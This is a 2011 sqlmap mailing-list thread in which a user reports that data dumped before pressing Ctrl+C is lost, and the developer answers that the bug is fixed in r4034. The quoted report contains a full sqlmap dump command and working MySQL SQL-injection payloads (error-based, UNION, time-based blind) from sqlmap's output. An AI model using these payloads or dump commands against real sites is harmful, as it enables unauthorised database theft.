hi nightman and everybody else.

this was a really nasty bug which prevented proper handling of dumped
data after Ctrl+C was pressed.

this should be fixed with the last commit (r4034).

kr

On Sun, Jun 5, 2011 at 4:12 PM,  <night...@email.de> wrote:
> Hy
>
> I have a problem with data dumping.
>
> When i run this  sqlmap -u "http://website.com/vuln.php"; --cookie="cookies" 
> --random-agent --retries=6 --level 5 --risk 3 --dump -D database -T table
>
> Place: GET
> Parameter: id
>     Type: error-based
>     Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
>     Payload: section=502&action=view_all_albums&id=83389 AND (SELECT 8070 
> FROM(SELECT COUNT(*),CONCAT(CHAR(58,106,115,109,58),(SELECT (CASE WHEN 
> (8070=8070) THEN 1 ELSE 0 END)),CHAR(58,103,103,97,58),FLOOR(RAND(0)*2))x 
> FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
>
>     Type: UNION query
>     Title: MySQL UNION query (NULL) - 11 to 20 columns
>     Payload: section=502&action=view_all_albums&id=-5690 UNION ALL SELECT 
> NULL, 
> CONCAT(CHAR(58,106,115,109,58),IFNULL(CAST(CHAR(82,121,113,115,106,81,100,117,77,99)
>  AS CHAR),CHAR(32)),CHAR(58,103,103,97,58)), NULL, NULL, NULL, NULL, NULL, 
> NULL, NULL, NULL, NULL, NULL#
>
>     Type: AND/OR time-based blind
>     Title: MySQL > 5.0.11 AND time-based blind
>     Payload: section=502&action=view_all_albums&id=83389 AND SLEEP(5
>
> sqlmap runs normal shows me the data. Now the Problem when i break up in the 
> middle of dumping sqlmap don´t save the already received data in a csv only 
> the first received data from the DB found in the csv.
>
> if I wait to sqlmap finished  the dumping, is all ok and i find all data in 
> the csv. In an earlier version of sqlmap the data from a stoped dumping still 
> found in the csv.
>
> PS i know my english is terrible. But i hope you understand my problem. ;)
>
> ------------------------------------------------------------------------------
> Simplify data backup and recovery for your virtual environment with vRanger.
> Installation's a snap, and flexible recovery options mean your data is safe,
> secure and there when you need it. Discover what all the cheering's about.
> Get your free trial download today.
> http://p.sf.net/sfu/quest-dev2dev2
> _______________________________________________
> sqlmap-users mailing list
> sqlmap-users@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar

E-mail: miroslav.stampar (at) gmail.com
PGP Key ID: 0xB5397B1B

------------------------------------------------------------------------------
EditLive Enterprise is the world's most technically advanced content
authoring tool. Experience the power of Track Changes, Inline Image
Editing and ensure content is compliant with Accessibility Checking.
http://p.sf.net/sfu/ephox-dev2dev
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users

Reply via email to